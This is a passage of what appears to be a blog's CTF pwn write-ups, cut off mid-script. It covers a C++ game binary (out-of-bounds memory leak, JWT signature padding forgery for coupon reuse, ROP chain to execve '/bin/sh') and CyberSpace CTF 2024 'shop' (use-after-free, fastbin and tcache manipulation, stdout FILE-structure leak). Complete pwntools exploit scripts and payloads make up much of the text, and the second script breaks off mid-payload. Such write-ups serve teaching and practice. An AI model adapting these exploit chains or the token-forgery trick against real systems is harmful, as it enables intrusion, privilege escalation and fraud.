_QWORD welcome_size	_QWORD id_size
char welcome[8]	char id[8]
_QWORD canary	_QWORD end_id
user *current_user	char *email_ptr
_QWORD login_success	_QWORD email_size
char *jwt_key	char email[8]
_QWORD jwt_key_size	_QWORD end_email
_QWORD jwt_key_end

Therefore, we can log in with an account whose id is "Welcome!", which is output when the binary runs.

JWT Counterfeit

The coupon generated during join is a JWT value created with HS256, where the signature part is generated using HMAC-SHA256. The output is 256 bits (32 bytes), which is base64URL encoded. Since base64 encodes in 3-byte units, padding (=) is added during encoding.

However, not only = but also the last two bits of the last byte are padded with 00. Therefore, during decoding, the last two bits of the last byte don’t affect the original data.

In other words, any of 00, 01, 10, 11 in the last two bits of the last byte decodes to the same value. If the decoded value is the same, incrementing the coupon value bit by bit still passes signature verification, making it possible to register the coupon multiple times.

This is an implementation issue with JWS. I’m not sure how to exploit it further, but it seems applicable elsewhere.

0x02. Exploit

Memory Leak

The memory in the area after user_db->user_list[32] (Welcome! account) looks like this.

# Welcome!
gef➤  x/13gx $rbp-0xa0
0x7fffffffec60: 0x00007fffffffdf60      0x0000000000000001
0x7fffffffec70: 0x0000000000000000      0x0000000000000000
0x7fffffffec80: 0x00007fffffffec90      0x0000000000000008
0x7fffffffec90: 0x21656d6f636c6557      0xc8647733c17b4d00
0x7fffffffeca0: 0x00007ffff77d7ce0      0x0000000000000000
0x7fffffffecb0: 0x00005555555a5f80      0x0000000000000020
0x7fffffffecc0: 0x000000000000003c

The area representing pw_ptr contains 0x7fffffffdf60, the starting address of user_list, and the area representing pw_size contains count, which represents the number of accounts.

Currently, count is 1 since the admin account was added in setup_admin_7D3A() early in main(). Therefore, the Welcome! account’s password is the 1 byte stored at 0x7fffffffdf60.

Using this, we can brute force byte-by-byte while increasing users to achieve memory leak.

# admin
gef➤  x/13gx $rbp-0xda0
0x7fffffffdf60: 0x00007fffffffdf70      0x0000000000000008
0x7fffffffdf70: 0x6e374f7175585a68      0x0000000000000300
0x7fffffffdf80: 0x00007fffffffdf90      0x0000000000000005
0x7fffffffdf90: 0x0000006e696d6461      0x00000000001e3e30
0x7fffffffdfa0: 0x00005555555a5ed0      0x0000000000000012
0x7fffffffdfb0: 0x000000000000001e      0x000000000000001c
0x7fffffffdfc0: 0x0000000000000022

0x7fffffffdf60 is actually user_list[0], storing information for the first account admin. Since count can increase up to 32, we can leak up to 32 bytes. However, since the last 8 bytes are other basic_string data, I only attempted to leak 26 bytes total.

Through this, we can obtain the stack address and admin’s pw.

def memory_leak(s):
    hit = bytes()
    for i in range(0x1a):
        for j in range(0x100):
            if j in [0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20]:
                continue
            r = login(s, b"Welcome!", hit + j.to_bytes(1, 'little'))
            if b"Login Success" in r:
                hit += j.to_bytes(1, 'little')
                sys.stdout.write(f"\rhit : {hit}")
                sys.stdout.flush()
                break
        logout(s)
        it = str(i + 1).encode()
        join(s, it, it, it, i + 1)
    sys.stdout.write(f"\n")
    return hit

Values representing \t, \n, etc. cannot be leaked through input/output, but this problem doesn’t seem to occur frequently.

Win Game

After logging in, you can choose one of: Play Game, Apply Coupon, Coupon usage history, Change PW, Print Information. Among these, Change PW and Print Information are menus that require defeating the boss in Play Game to become a regular member.

When solving the challenge, I first beat the game to move to the next step, but I should develop the habit of planning the exploit scenario first with a clear objective.

Using the OOB vulnerability, beating the game with the Welcome! account and calling Change PW allows changing the value at the location pw_ptr points to. Since Welcome!->pw_ptr points to the address storing admin->pw_ptr, we can change admin->pw_ptr to the desired address, then log in as admin and call Change PW again to write data to the previously set desired address, achieving AAW.

However, it’s not complete AAW because the moment we change admin->pw_ptr, the password needed to log in as admin changes. Therefore, we need to know the value stored at the address where we want to write data. Looking back now, it might have been okay to also change admin->pw_size to 1 when changing Welcome!’s password and do brute forcing.

Anyway, in the game, you must avoid the Enemy following you, obtain Items to increase Attack and Defense, then fight the Enemy. But even after collecting all items, you can’t beat the Enemy.

Instead, using the coupon issued during registration doubles your Attack. So we should utilize the JWT counterfeit vulnerability to apply four coupons in total and to beat the Enemy.

The problem is that to get the AAW mentioned above, the Welcome! account needs to become a regular member, but since the Welcome! account isn’t a registered account, there’s no issued coupon.

__int64 __fastcall join_8A4A(user_db *user_db)
{
  ...
  if ( user_db->count <= 31 )
  {
    ...
      for ( i = 0; i < user_db->count; ++i )
      {
        a2_20_23596(id_i, &user_db->user_list[i]);
        id_same = strncmp_1043E(id_i, id);
        std::string::~string(id_i);
        if ( id_same )
        {
          std::operator<<<std::char_traits<char>>(&std::cout, "[*] The ID already exists.\r");
          std::ostream::operator<<();
          result = -1;
          goto LABEL_13;
        }
      }
    ...
  }
}

Fortunately, looking at join_8A4A(), it only checks for duplicated id by looping through user_list up to count, so we can create a Welcome! account.

Also, in login_790E(), if only the id matches and pw doesn’t, it just continues to the next loop, so we can still log in to the 33rd Welcome! account after registration.

The last question is whether the created Welcome! account’s coupon can be used by the 33rd Welcome! account. After checking the secret key in the debugger and examining the content on jwt.io, they have the same userid, so the 33rd Welcome! account could use the coupon.

So I wrote the payload as follows.

    # join fake "Welcome!"
    r = join(s, b"Welcome!", b"Welcome@", b"Welcome#", 0x10)
    coupon = r.split(b"issued : ")[1].split(b"\r\n")[0]
    log.info(f"coupon : {coupon}")
    login(s, b"Welcome!", ml + b"\x00\x00")

    # counterfeit coupon
    if not apply_coupon_quadra(s, coupon):
        log.failure(f"bad coupon :(")
        exit()

Now I needed to beat the game, and while I wanted to automate it for future debugging, the input/output using ANSI escape codes took forever.

Ultimately, I used a library called pyte to parse map information. For the Item collection algorithm, I couldn’t think of anything good, so I used this simple approach:

Move up to one space away from Enemy to increase success rate
Move to bottom left - (0, 0)
Move to top left - (0, 16)
Move to column with Item - (n, 16)
Move to bottom - (n, 0)
If all items collected, go to 7; if remaining, go to 2
Fight Enemy

For some reason, going to (0, 16) often creates a two-square gap with Enemy, so I added code to just restart the game if the Item’s column is too close, as that was faster.

Libc Leak

Even with AAW through the method described above, where to control RIP remains a problem. Therefore, I determined libc leak was necessary and found Print Information while checking output sections. It prints email, where email_size overlaps with the Welcome!->login_success area.

So I determined memory leak would be possible by logging in successfully to increase the login_success value.

Note that, perhaps because it’s C++, many libraries are used, so you need to carefully find and retrieve the glibc region.

    logout(s)
    for _ in range(0xa0):
        login(s, b"Welcome!", b"Welcome@")
        logout(s)
    login(s, b"Welcome!", ml + b"\x00\x00")
    r = print_info(s)
    libc = u64(r[0xcc:0xd4])
    lib.address = libc - 0x29d90
    log.info(f"libc : {hex(lib.address)}")

RIP Control

Now that we know the stack address, I wrote a payload to overwrite main()’s return address to execute ROP gadgets then run execve.

However, since free_db_24FBA() which is called at the end of main() frees objects storing user information, we need to restore admin->pw_ptr that was changed for AAW.

__int64 __fastcall free_db_24FBA(__int64 user_db)
{
  ...
  if ( user_db )
  {
    for ( i = user_db + 0xD00; ; free_strings_F406(i) )
    {
      result = user_db;
      if ( i == user_db )
        break;
      i -= 0x68LL;
    }
  }
  return result;
}

So I wrote the payload as follows.

    # change admin->pw to point return address of main
    ret = stack + 0xd98
    change_pw(s, p64(ret) + p64(0x8))
    
    # overwrite return address
    logout(s)
    pop_rdi_ret = lib.address + 0x2a3e5
    pop_rsi_ret = lib.address + 0x2be51
    pop_rdx_rbx_ret = lib.address + 0x904a9
    payload = p64(pop_rdi_ret)
    payload += p64(next(lib.search(b"/bin/sh")))
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(pop_rdx_rbx_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(lib.symbols["execve"])
    login(s, b"admin", p64(libc))
    change_pw(s, payload)

    # restore admin->pw
    logout(s)
    login(s, b"Welcome!", p64(ret) + p64(len(payload)))
    change_pw(s, p64(stack) + p64(0x8))

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
import sys
import pyte

BINARY = "game"
LIBRARY = "libc.so.6"
CONTAINER = "7e8bfb970414"

def join(s, id, pw, email, age):
    s.sendline(b"1")
    s.sendlineafter(b"Id:\r\n", id)
    s.sendlineafter(b"Pw:\r\n", pw)
    s.sendlineafter(b"Email:\r\n", email)
    s.sendlineafter(b"Age:\r\n", str(age).encode())
    return s.recvuntil(b"Choice : \r\n")

def login(s, id, pw):
    s.sendline(b"2")
    s.sendlineafter(b"id:\r\n", id)
    s.sendlineafter(b"pw:\r\n", pw)
    return s.recvuntil(b"Choice : \r\n")

def quit_(s):
    s.sendline(b"3")
    return s.recvuntil(b"quit\r\n")

def logout(s):
    return s.sendlinethen(b"Choice : \r\n", b"1")

def play_game(s):
    s.sendline(b"2")

def apply_coupon(s, coupon):
    s.sendline(b"3")
    s.sendlineafter(b"coupon : \r\n", coupon)
    r = s.recvuntil(b"Choice : \r\n")
    if r.find(b"successfully") > -1:
        log.success(f"coupon use success")
        return True
    else:
        log.failure(f"something wrong with {coupon}")
        return False

def usage_history(s):
    s.sendline(b"4")
    return s.recvuntil(b"Choice : \r\n")

def change_pw(s, pw):
    s.sendline(b"5")
    s.sendlineafter(b"PW? : \r\n", b"y")
    s.sendlineafter(b"PW : \r\n", pw)
    return s.recvuntil(b"Choice : \r\n")

def print_info(s):
    s.sendline(b"6")
    return s.recvuntil(b"Choice : \r\n")

def memory_leak(s):
    hit = bytes()
    for i in range(0x1a):
        for j in range(0x100):
            if j in [0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20]:
                continue
            r = login(s, b"Welcome!", hit + j.to_bytes(1, 'little'))
            if b"Login Success" in r:
                hit += j.to_bytes(1, 'little')
                sys.stdout.write(f"\rhit : {hit}")
                sys.stdout.flush()
                break
        logout(s)
        it = str(i + 1).encode()
        join(s, it, it, it, i + 1)
    sys.stdout.write(f"\n")
    return hit

def apply_coupon_quadra(s, coupon):
    apply_coupon(s, coupon)
    coupon_dup = coupon[:-1] + chr(coupon[-1] + 1).encode()
    apply_coupon(s, coupon_dup)
    coupon_dup = coupon_dup[:-1] + chr(coupon_dup[-1] + 1).encode()
    apply_coupon(s, coupon_dup)
    coupon_dup = coupon_dup[:-1] + chr(coupon_dup[-1] + 1).encode()
    r = apply_coupon(s, coupon_dup)
    return r

def parse_map(data, p=0):
    # set terminal size (24 rows, 80 columns)
    screen = pyte.Screen(80, 24)
    stream = pyte.Stream(screen)

    stream.feed(data.decode('utf-8'))

    # find 'I', 'O', 'E' after parsing the screen
    positions = {'I': [], 'O': [], 'E': []}
    for row_num, row in enumerate(screen.display, start=1):
        if row_num < 4:
            continue
        for col_num, char in enumerate(row, start=1):
            if char in positions:
                positions[char].append((row_num, col_num))
    
    if p == 1:
        for line in screen.display:
            print(line)
        print(positions)
    return positions

def move(s, direction):
    for d in direction:
        s.send(d.encode())
        s.recvuntil(b"||")
        try:
            r = s.recvuntil(b"||", timeout=3)
        except TimeoutError:
            log.failure(f"game lost :(")
            exit()
    return r

def win_game(s):
    while 1:
        s.sendline(b"2")
        r = s.recvuntil(b"||")
        positions = parse_map(r)
        item_col = sorted(set([item[1] for item in positions['I']]))
        log.info(f"items located in col {item_col}")

        # die if too close
        die = 0
        if item_col[0] < 10:
            log.info("I would rather kill myself...")
            die = 1
            while r := move(s, 'f'):
                if b"Game Over!" in r:
                    s.send(b"\n")
                    break
        if die:
            continue
        
        # go to 0, 0
        direction = 'w' * 6
        direction += 's' * 8
        direction += 'a' * 30
        r = move(s, direction)
        parse_map(r)

        # farm items
        for c in item_col:
            log.info(f"farming item in col {c}")
            direction = 'w' * 16
            direction += 'd' * (c - 2)
            direction += 's' * 16
            direction += 'a' * (c - 2)
            r = move(s, direction)
            parse_map(r)
            
        # fight!
        while r := move(s, 'f'):
            if b"Game Over!" in r:
                s.send(b"\n")
                return s.recvuntil(b" : \r\n")

code_base = 0x555555554000
bp = {
    'login_switch_main' : code_base + 0x24145,
    'join' : code_base + 0x8A4A,
    'free_join' : code_base + 0x8F44,
    'login' : code_base + 0x23FFE,
    'after_login' : code_base + 0x240D2,
    'ret_main' : code_base + 0x24A1D,
}

gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    s.recvuntil(b"Choice : \r\n").decode()
    
    # memory leak using OOB
    ml = memory_leak(s)
    stack = u64(ml[0:8])
    admin_pw = ml[0x10:0x18]
    log.info(f"stack : {hex(stack)}")
    log.info(f"admin pw : {admin_pw.decode()}")

    # join fake "Welcome!"
    r = join(s, b"Welcome!", b"Welcome@", b"Welcome#", 0x10)
    coupon = r.split(b"issued : ")[1].split(b"\r\n")[0]
    log.info(f"coupon : {coupon}")
    login(s, b"Welcome!", ml + b"\x00\x00")

    # counterfeit coupon
    if not apply_coupon_quadra(s, coupon):
        log.failure(f"bad coupon :(")
        exit()

    # win game to be regular member
    if b"regular member" not in win_game(s):
        log.failure(f"game lost :(")
        exit()
    log.success(f"game win!")
    s.sendlinethen(b"Choice : \r\n", b'y')

    # libc leak by increasing login_success(email_size)
    logout(s)
    for _ in range(0xa0):
        login(s, b"Welcome!", b"Welcome@")
        logout(s)
    login(s, b"Welcome!", ml + b"\x00\x00")
    r = print_info(s)
    libc = u64(r[0xcc:0xd4])
    lib.address = libc - 0x29d90
    log.info(f"libc : {hex(lib.address)}")

    # change admin->pw to point return address of main
    ret = stack + 0xd98
    change_pw(s, p64(ret) + p64(0x8))
    
    # overwrite return address
    logout(s)
    pop_rdi_ret = lib.address + 0x2a3e5
    pop_rsi_ret = lib.address + 0x2be51
    pop_rdx_rbx_ret = lib.address + 0x904a9
    payload = p64(pop_rdi_ret)
    payload += p64(next(lib.search(b"/bin/sh")))
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(pop_rdx_rbx_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(lib.symbols["execve"])
    login(s, b"admin", p64(libc))
    change_pw(s, payload)

    # restore admin->pw
    logout(s)
    login(s, b"Welcome!", p64(ret) + p64(len(payload)))
    change_pw(s, p64(stack) + p64(0x8))

    # trigger ret in main
    logout(s)
    quit_(s)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

CyberSpace CTF 2024 - shop

2024-10-09T00:00:00+00:00

0x00. Introduction

[*] '/home/user/shop'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Concept

➜  ./shop
1. Buy a pet
2. Edit name
3. Refund
>

Using buy_143A(), we allocate heap chunks and store the allocated address and size. These are stored in globally declared void *ptr_4060[32] and int size_4160[32].

In edit_1523(), we input an index to modify the contents of the chunk stored in ptr_4060[index].

Similarly, in refund_15F6(), we input an index to free the chunk stored in ptr_4060[index].

Note that read_flag_12A9() reads the flag and stores it in the heap, so we don’t need to get shell.

0x01. Vulnerability

int refund_15F6()
{
  unsigned int index; // [rsp+0h] [rbp-10h]
  void *ptr; // [rsp+8h] [rbp-8h]

  printf("Index: ");
  index = read_int_13A5();
  if ( index > 31 )
    return puts("INVALID INDEX");
  ptr = (void *)ptr_4060[index];
  if ( !ptr )
    return puts("INVALID INDEX");
  free(ptr);
  size_4160[index] = 0;
  return puts("DONE");
}

refund_15F6() verifies that ptr_4060[index] is not NULL and frees ptr.

It sets size_4160[index] to 0 afterward but doesn’t nullify ptr_4060[index], causing UAF vulnerability.

0x02. Exploit

Fastbin Reverse Into Tcache

While possible in older glibc versions (<=2.26), glibc 2.31 in the current docker environment has mitigation applied to prevent double free in tcache.

1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 1
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
free(): double free detected in tcache 2
[1]    97427 IOT instruction (core dumped)  ./chall

To bypass this, I used the fastbin reverse into tcache technique, referencing these resources:

These resources assume we can free a victim chunk and write values, but since edit is impossible when size_4160[index] is 0 in this challenge, we need to additionally create a fastbin dup situation.

The exploitation flow is as follows.

Free 7 fastbin-length chunks to fill tcache
Create fastbin dup using UAF
Allocate 7 chunks to empty tcache
Allocate 8th chunk to manipulate next_chunk
Request chunk allocation until manipulated next_chunk address is allocated
Use allocated address for AAW

Writing the payload step by step:

    # fill tcache 0x20
    for _ in range(9):
        buy(s, 0x10)
    for i in range(7):
        refund(s, i + 1)

    # fastbin dup 8 -> 9 -> 8
    refund(s, 8)
    refund(s, 9)
    refund(s, 8)

Executing refund 7 times fills tcache, sending subsequent chunks to fastbin. Using this, we create an 8 -> 9 -> 8 loop in fastbin.

    # clean tacahe 0x20
    for _ in range(7):
        buy(s, 0x10)
    
    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 8, b"\x40\x96")

After emptying tcache by executing buy 7 times, executing buy once more returns the 8th chunk. Since this 8th chunk stored size in size_4160[8] during buy, edit is possible.

Since we haven’t leaked heap yet, we can only partial overwrite lower bytes for probabilistic heap manipulation.

gef➤  heap bins
─────────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=3] ←  Chunk(addr=0x555555559b70, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  
                                      ←  Chunk(addr=0x555555559b50, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  
                                      ←  Chunk(addr=0x555555559640, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

The \x40\x96 passed to edit partially overwrites the chunk’s next_chunk to manipulate the tcache list.

Looking closely, 0x555555559640 comes at the end of the tcache list. Although its size is 0, tcache doesn’t verify size during allocation, so the manipulated next_chunk gets allocated.

Come to think of it, carefully controlling size and position when allocating heap chunks to only overwrite one byte might enable exploitation without probability issues.

    # allocate overwritten heap address
    buy(0x10)
    buy(0x10)
    buy(0x10)               # index 11 ; overwritten heap address

    # overwrite chunk size
    edit(s, 11, p64(0) + p64(0x421))

As in the payload above, the partially overwritten address is returned during the 3rd buy, allowing us to modify values stored in heap.

Unsorted Bin Attack

To proceed further, the binary has no printing codes, making leaks impossible. Thinking about what we have, while we don’t know addresses, AAW is possible by manipulating next_chunk.

While pondering, I thought that just like partially overwriting the heap address stored in next_chunk earlier, if a libc address is stored there, we could partial overwrite to write somewhere in libc memory.

Getting a libc address into next_chunk can be accomplished with unsorted bin attack, but requires careful chunk overlapping. Illustrated as follows:

First, since we’ll ultimately perform AAW using chunks in fastbin, send sufficiently sized (0x60) chunks to fastbin. To send the victim chunk to unsorted bin, we need to carefully position intermediate chunks so the offset with next_chunk matches size.

Also, since next_chunk being top chunk merges with top chunk instead of going to unsorted bin, we need to consider this.

    # fill tcache 0x70
    for _ in range(8):
        buy(s, 0x60)
    for i in range(7):
        refund(s, i)
    buy(s, 0x3a0)           # index 0 ; align next chunk
    
    # 0x555555559650 chunk goes to fastbin
    refund(s, 7)

This sends the index 7 chunk (0x555555559650) to fastbin, and allocating a 0x3a0 chunk afterward creates the form in the first diagram.

Now to overwrite chunk size, we use the fastbin reverse into tcache technique.

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 8, b"\x40\x96")
    
    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 11 ; overwritten heap address

    # overwrite chunk size
    edit(s, 11, p64(0) + p64(0x421))

Executing this payload creates the second diagram. We need to free the 0x555555559650 chunk, but there’s no pointer pointing to 0x555555559650. Since it’s an already freed chunk address, we can’t access it without allocating a 0x60-sized chunk again.

So we use the fastbin reverse into tcache technique once more to get that address returned.

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 12, b"\x50\x96")

    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 15 ; overwritten heap address
    
    # free(0x555555559650) ; move chunk to unsorted bin
    refund(s, 15)

This time, instead of editing the returned address, we refund to free it, creating the third diagram.

gef➤  heap bins
───────────────────────────────── Fastbins for arena at 0x7ffff7fbfb80 ─────────────────────────────────
Fastbins[idx=5, size=0x70]  ←  Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]  
                            ←  Chunk(addr=0x7ffff7fbfbf0, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]  
                            ←  Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  →  [loop detected]
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────── Unsorted Bin for arena at 0x7ffff7fbfb80 ───────────────────────────────
[+] unsorted_bins[0]: fw=0x555555559640, bk=0x555555559640
 →   Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.

Since the 0x555555559650 chunk remains in fastbin, main_arena in next_chunk is interpreted as the next chunk, enabling libc region allocation. However, fastbin verifies size, so we need to restore the chunk size overwritten to 0x421.

    # restore chunk size
    edit(s, 11, p64(0) + p64(0x71))

Stdout Attack

There’s a technique for libc leak when you can change stdout’s flag. I referenced this Korean resource:

stdout의 file structure flag를 이용한 libc leak

After successfully performing unsorted bin attack, the main_arena address at 0x555555559650 is as follows.

gef➤  x/4gx 0x555555559650 - 0x10
0x555555559640: 0x0000000000000000      0x0000000000000071
0x555555559650: 0x00007ffff7fbfbe0      0x00007ffff7fbfbe0

Meanwhile, stdout points to an _IO_FILE structure stored in the libc region, with this address.

gef➤  x/6gx 0x555555558020
0x555555558020 <stdout>:        0x00007ffff7fc06a0      0x0000000000000000
0x555555558030 <stdin>:         0x00007ffff7fbf980      0x0000000000000000
0x555555558040 <stderr>:        0x00007ffff7fc05c0      0x0000000000000000

0x7ffff7fbfbe0 and 0x7ffff7fc06a0 differ by 3 bytes without ASLR, but occasionally differ by only 2 bytes with ASLR enabled, making exploitation possible with 1/16 probability when partial overwriting.

    # partially overwrite main_arena -> stdout
    buy(s, 0x60)
    edit(s, 22, b"\xa0\x06\xfc")    # aslr off
    # edit(s, 22, b"\xa0\x76")      # aslr on
    
    for _ in range(3):
        buy(s, 0x60)

With 1/16 probability of allocating the libc address storing stdout’s _IO_FILE structure, we can change the flag to output libc addresses.

To summarize the exploit technique, when _IO_IS_APPENDING flag is on, _IO_new_do_write is called as follows, so we need to manipulate _IO_write_base and _IO_write_ptr.

// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)

The status of _IO_FILE structure before manipulating is as follows.

gef➤  p *(struct _IO_FILE *) 0x7ffff7fc06a0
$1 = {
  _flags = 0xfbad2887,
  _IO_read_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_read_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_read_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_write_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_write_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_write_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_end = 0x7ffff7fc0724 <_IO_2_1_stdout_+132> "",
  ...
}

The referenced resource overwrites the first byte of _IO_write_base with \x00, which would call _IO_do_write as follows.

// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, 0x7ffff7fc0700, 0x23)

This output prints the libc address contained in the _IO_FILE structure.

    # leak libc
    io_is_appending = 0x1000
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x19
    r = edit(s, 25, payload)

Since libc leak is possible through this payload, areas like _IO_read_XXX don’t seem important for output.

Using this stdout structure enables AAR. Since the binary reads flag and stores it in heap memory, leaking the heap address lets us obtain the flag. Opposite to unsorted bin attack where we put main_arena address in next_chunk, main_arena contains heap addresses. Since main_arena is a variable stored in a fixed libc region, we calculate the offset and overwrite the value.

    # leak heap - print main_arena
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(main_arena)          # _IO_write_base
    payload += p64(main_arena + 0x20)   # _IO_write_ptr
    payload += p64(main_arena + 0x20)   # _IO_write_end
    r = edit(s, 25, payload)

Note that output occurs when _IO_write_end equals _IO_write_ptr.

    # print flag
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(flag)                # _IO_write_base
    payload += p64(flag + 0x30)         # _IO_write_ptr
    payload += p64(flag + 0x30)         # _IO_write_end
    r = edit(s, 25, payload)

After obtaining the heap address, we can obtain the flag with the payload above.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "b212a05a74cb"
code_base = 0x555555554000
bp = {
    'read_int_edit' : code_base + 0x1545,
    'read_int_refund' : code_base + 0x1618
}

index_list = [0] * 32
def print_index(op, num = 0):
    if op == "pop":
        index_list[num] = 0
        index = num
    elif op == "push":
        for _ in range(len(index_list)):
            if index_list[_] == 0:
                index_list[_] = num
                index = _
                break
    hex_numbers = [hex(num)[2:].rjust(3) for num in index_list[0:16]]
    log.info(f"{', '.join(hex_numbers)} ; {op} {index}")

def buy(s, size):
    s.sendline(b"1")
    s.sendlineafter(b"much? ", str(size).encode())
    print_index("push", size)
    return s.recvuntil(b"> ")

def edit(s, index, name):
    s.sendline(b"2")
    s.sendlineafter(b"Index: ", str(index).encode())
    s.sendafter(b"Name: ", name)
    return s.recvuntil(b"> ")

def refund(s, index):
    s.sendline(b"3")
    s.sendlineafter(b"Index: ", str(index).encode())
    print_index("pop", index)
    return s.recvuntil(b"> ")

gs = f'''
!b *{bp["read_int_refund"]}
gef config gef.bruteforce_main_arena True
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
        else:
            context.log_level = "ERROR"
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recvuntil(b"> ").decode()

    # fill tcache 0x70
    for _ in range(8):
        buy(s, 0x60)
    for i in range(7):
        refund(s, i)
    buy(s, 0x3a0)           # index 0 ; align next chunk
    
    # 0x555555559650 chunk goes to fastbin
    refund(s, 7)

    # fill tcache 0x20
    for _ in range(9):
        buy(s, 0x10)
    for i in range(7):
        refund(s, i + 1)

    # fastbin dup 8 -> 9 -> 8
    refund(s, 8)
    refund(s, 9)
    refund(s, 8)

    # clean tacahe 0x20
    for _ in range(7):
        buy(s, 0x10)

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 8, b"\x40\x96")
    
    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 11 ; overwritten heap address

    # overwrite chunk size
    edit(s, 11, p64(0) + p64(0x421))

    # fill tcache 0x20
    for _ in range(2):
        buy(s, 0x10)
    for i in range(7):
        refund(s, i + 1)

    # fastbin dup 12 -> 13 -> 12
    refund(s, 12)
    refund(s, 13)
    refund(s, 12)

    # clean tcache 0x20
    for _ in range(7):
        buy(s, 0x10)

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 12, b"\x50\x96")

    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 15 ; overwritten heap address
    
    # free(0x555555559650) ; move chunk to unsorted bin
    refund(s, 15)

    # clean tcache 0x70
    for _ in range(7):
        buy(s, 0x60)

    # restore chunk size
    edit(s, 11, p64(0) + p64(0x71))

    # partially overwrite main_arena -> stdout
    buy(s, 0x60)
    edit(s, 22, b"\xa0\x06\xfc")    # aslr off
    # edit(s, 22, b"\xa0\x76")      # aslr on
    
    for _ in range(3):
        buy(s, 0x60)

    # leak libc
    io_is_appending = 0x1000
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x19
    r = edit(s, 25, payload)

    lib.address = u64(r[0x8:0x10]) - 0x1ec980
    log.info(f"libc : {hex(lib.address)}")
    main_arena = lib.address + 0x1ecbe0

    # leak heap - print main_arena
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(main_arena)          # _IO_write_base
    payload += p64(main_arena + 0x20)   # _IO_write_ptr
    payload += p64(main_arena + 0x20)   # _IO_write_end
    r = edit(s, 25, payload)
    
    heap = u64(r[0:8]) - 0xbc0
    log.info(f"heap : {hex(heap)}")
    flag = heap + 0x308

    # print flag
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(flag)                # _IO_write_base
    payload += p64(flag + 0x30)         # _IO_write_ptr
    payload += p64(flag + 0x30)         # _IO_write_end
